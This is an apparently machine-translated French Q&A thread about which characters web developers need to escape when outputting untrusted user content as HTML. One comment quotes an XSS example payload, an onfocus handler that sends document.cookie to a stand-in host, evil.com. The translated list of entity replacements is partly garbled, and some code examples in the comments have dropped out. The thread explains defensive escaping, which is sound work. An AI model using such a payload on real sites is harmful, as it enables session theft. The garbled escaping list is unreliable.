2010-06-22 22 views
3

Quels sont les caractères requis et suffisants pour l'échappement du contenu généré par l'utilisateur avant la sortie? (Autrement dit: quels sont les personnages les développeurs web devraient échapper lorsque le texte sortie fourni précédemment à partir d'une source non fiable, anonyme?)Configuration minimale requise pour l'échappement de la sortie HTML

+0

Il semble que différentes personnes aient compris la question de différentes manières. Permettez-moi de clarifier: je demande cela pour des raisons de sécurité. – Tom

Répondre

5

Lorsque écho à une page, vous devez encoder

  • '& '(esperluette) devient' & '
  • '"'(guillemet) devient '"'
  • ''' (guillemet simple) devient '''
  • '<' (moins) devient '&lt;'
  • '>' (supérieur) devient '&gt;'

De PHP de htmlspecialchars()docs.

Notez que le context est également important.

Vous devrez également prendre en compte le jeu de caractères.

+0

Quelle est la raison et/ou le besoin d'échapper à des citations? – ChrisW

+1

Si le texte est placé dans une balise , où elle est placée dans l'attribut value, placée entre guillemets. – AlexanderMP

+2

@ChrisW J'appelle votre nom ici ''. Maintenant, que faire si j'ai entré mon nom comme 'alex 'onfocus =" window.location =' http://www.evil.com/steal.php?cookie= '+ encodeURI (document.cookie) ' – alex

0

Je pense qu'échapper aux symboles < > & " ' devrait être suffisant pour n'importe quel scénario.

+1

Ces caractères ne sont pas suffisants dans certains scénarios.Imaginez le code suivant: Scape simplement les guillemets ne vous aide pas :) –

+0

oh, oui, bien sûr, j'ai oublié la barre oblique inverse. C'est à ce moment-là :). – AlexanderMP

+0

@PedroLaguna vous m'a presque obtenu là: si vous échapper les guillemets, votre exemple va rendre qui est inoffensif. – cap